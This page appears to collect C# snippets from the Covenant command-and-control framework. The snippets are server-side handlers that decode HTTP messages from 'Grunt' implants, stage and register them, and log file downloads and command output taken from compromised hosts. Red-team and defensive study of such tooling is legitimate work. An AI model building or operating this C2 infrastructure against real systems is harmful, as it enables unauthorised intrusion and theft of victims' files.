            GruntTask DownloadTask = CovenantClient.ApiGruntTasksGet().FirstOrDefault(GT => GT.Name == "Download");

            if (gruntTasking.TaskId == DownloadTask.Id)
            {
                CovenantClient.ApiEventsPost(new EventModel
                {
                    Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name,
                    Level   = EventLevel.Highlight,
                    Context = realGrunt.Name
                });
                string FileName = Common.CovenantEncoding.GetString(Convert.FromBase64String(gruntTasking.GruntTaskingAssembly.Split(",")[1]));
                CovenantClient.ApiEventsDownloadPost(new DownloadEvent
                {
                    Message      = "Downloaded: " + FileName + "\r\n" + "Syncing to Elite...",
                    Level        = EventLevel.Info,
                    Context      = realGrunt.Name,
                    FileName     = FileName,
                    FileContents = gruntTasking.GruntTaskOutput,
                    Progress     = DownloadProgress.Complete
                });
            }
            else
            {
                CovenantClient.ApiEventsPost(new EventModel
                {
                    Message = "Grunt: " + realGrunt.Name + " has completed GruntTasking: " + gruntTasking.Name,
                    Level   = EventLevel.Highlight,
                    Context = realGrunt.Name
                });
                CovenantClient.ApiEventsPost(new EventModel
                {
                    Message = gruntTasking.GruntTaskOutput,
                    Level   = EventLevel.Info,
                    Context = realGrunt.Name
                });
            }
            return(Ok());
        }
Пример #16
0
 private Models.Grunts.GruntEncryptedMessage CreateMessageForGrunt(API.Models.Grunt grunt, API.Models.Grunt targetGrunt, GruntTaskingMessage taskingMessage)
 {
     return(this.CreateMessageForGrunt(grunt, targetGrunt, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(taskingMessage))));
 }
Пример #17
0
        public ActionResult <string> Post()
        {
            this.SetHeaders();
            using (StreamReader reader = new StreamReader(Request.Body, System.Text.Encoding.UTF8))
            {
                Covenant.Models.Grunts.GruntEncryptedMessage message = null;
                try
                {
                    string body             = reader.ReadToEnd();
                    string ExtractedMessage = body.ParseExact(this.Profile.HttpPostRequest).FirstOrDefault();
                    string inverted         = Common.CovenantEncoding.GetString(this.Profile.Invert(ExtractedMessage));
                    message = JsonConvert.DeserializeObject <Covenant.Models.Grunts.GruntEncryptedMessage>(inverted);
                }
                catch (Exception)
                {
                    // Request not formatted correctly. May not be legitimate Grunt request, respond NotFound
                    return(NotFound());
                }
                string           cookie      = this.GetCookie();
                API.Models.Grunt egressGrunt = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie);
                API.Models.Grunt targetGrunt = null;

                try
                {
                    targetGrunt = this.CovenantClient.ApiGruntsGuidByGuidGet(message.GUID);
                }
                catch (HttpOperationException)
                {
                    targetGrunt = null;
                }

                if (targetGrunt == null)
                {
                    if (message.GUID.Length == 20)
                    {
                        API.Models.Grunt originalGeneratedGrunt = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.OriginalServerGuid == message.GUID.Substring(0, 10));
                        return(this.PostStage0(egressGrunt, originalGeneratedGrunt, message));
                    }
                    return(NotFound());
                }

                switch ((Covenant.Models.Grunts.Grunt.GruntStatus)targetGrunt.Status)
                {
                case Covenant.Models.Grunts.Grunt.GruntStatus.Uninitialized:
                    return(this.PostStage0(egressGrunt, targetGrunt, message));

                case Covenant.Models.Grunts.Grunt.GruntStatus.Stage0:
                    return(this.PostStage1(egressGrunt, targetGrunt, message));

                case Covenant.Models.Grunts.Grunt.GruntStatus.Stage1:
                    return(this.PostStage2(egressGrunt, targetGrunt, message));

                case Covenant.Models.Grunts.Grunt.GruntStatus.Stage2:
                    return(this.RegisterGrunt(egressGrunt, targetGrunt, message));

                case Covenant.Models.Grunts.Grunt.GruntStatus.Active:
                    return(this.PostTask(egressGrunt, targetGrunt, message));

                default:
                    return(NotFound());
                }
            }
        }
Пример #18
0
 private Models.Grunts.GruntEncryptedMessage CreateMessageForGrunt(API.Models.Grunt grunt, API.Models.Grunt targetGrunt, string taskingMessage)
 {
     return(this.CreateMessageForGrunt(grunt, targetGrunt, Common.CovenantEncoding.GetBytes(taskingMessage)));
 }